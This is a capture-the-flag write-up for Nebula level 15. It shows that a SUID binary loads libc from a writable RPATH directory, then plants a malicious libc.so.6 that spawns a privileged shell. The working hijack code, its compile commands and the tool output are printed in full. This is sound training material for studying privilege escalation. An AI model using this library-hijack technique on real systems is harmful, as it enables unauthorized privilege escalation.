Nebula - 15
Hacking For Ramen
> Objective
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary.
You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
Clean up after yourself :)
To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15.
> Getting the flag
We are starting at strace the binary:
level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0) = 0x8794000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77ea000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf89d004) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77e1000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x94b000
mmap2(0xac1000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xac1000
mmap2(0xac4000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xac4000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77e0000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77e08d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xac1000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xe40000, 4096, PROT_READ) = 0
munmap(0xb77e1000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77e9000
write(1, "strace it!\n", 11strace it!
) = 11
exit_group(11) = ?
What this wall of text tells us?
The binary is calling for libc.so.6 in the /var/tmp/flag15 and after several fails it loads the /lib/i386-linux-gnu/libc.so.6 and writing the "strace it!" message.
We can also have a look inside the binary with objdump:
level15@nebula:/home/flag15$ objdump -p flag15 flag15: file format elf32-i386 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000005d4 memsz 0x000005d4 flags r-x LOAD off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12 filesz 0x00000108 memsz 0x00000110 flags rw- DYNAMIC off 0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2 filesz 0x000000d0 memsz 0x000000d0 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0 filesz 0x000000f4 memsz 0x000000f4 flags r-- Dynamic Section: NEEDED libc.so.6 RPATH /var/tmp/flag15 INIT 0x080482c0 FINI 0x080484ac GNU_HASH 0x080481ac STRTAB 0x0804821c SYMTAB 0x080481cc STRSZ 0x0000005a SYMENT 0x00000010 DEBUG 0x00000000 PLTGOT 0x08049ff4 PLTRELSZ 0x00000018 PLTREL 0x00000011 JMPREL 0x080482a8 REL 0x080482a0 RELSZ 0x00000008 RELENT 0x00000008 VERNEED 0x08048280 VERNEEDNUM 0x00000001 VERSYM 0x08048276 Version References: required from libc.so.6: 0x0d696910 0x00 02 GLIBC_2.0
From this, we can learn that this binary was compiled with /var/tmp/flag15 as RPATH and it is expecting the libc.so.6 library there.
We can also check if this directory is writable for our user level15:
level15@nebula:/home/flag15$ ls -lah /var/tmp/flag15 total 0 drwxrwxr-x 2 level15 level15 3 2012-10-31 01:38 . drwxrwxrwt 3 root root 29 2012-08-23 18:46 ..
We can try putting our shell named libc.so.6to get it running with SUID.
Let's start with a simple C binary that will call for a /bin/sh with -p flag (as we would not want to keep our effective UID):
level15@nebula:/var/tmp/flag15$ cat shell.c
#include<stdio.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
system("/bin/sh -p");
return 0;
}
Let's compile and run it:
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,-Bstatic shell.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) Inconsistency detected by ld.so: dl-lookup.c: 169: check_match: Assertion `version->filename == ((void *)0) || ! _dl_name_match_p (version->filename, map)' failed!
What the heck is this? I have never seen this error message before. Likely, we have Stack Overflow.
level15@nebula:/var/tmp/flag15$ cat v
GLIBC_2.0 {
};
And we need to compile our shell with this information now:
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=v,-Bstatic shell.c -o libc.so.6
The moment of truth:
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 sh-4.2$ getflag You have successfully executed getflag on a target account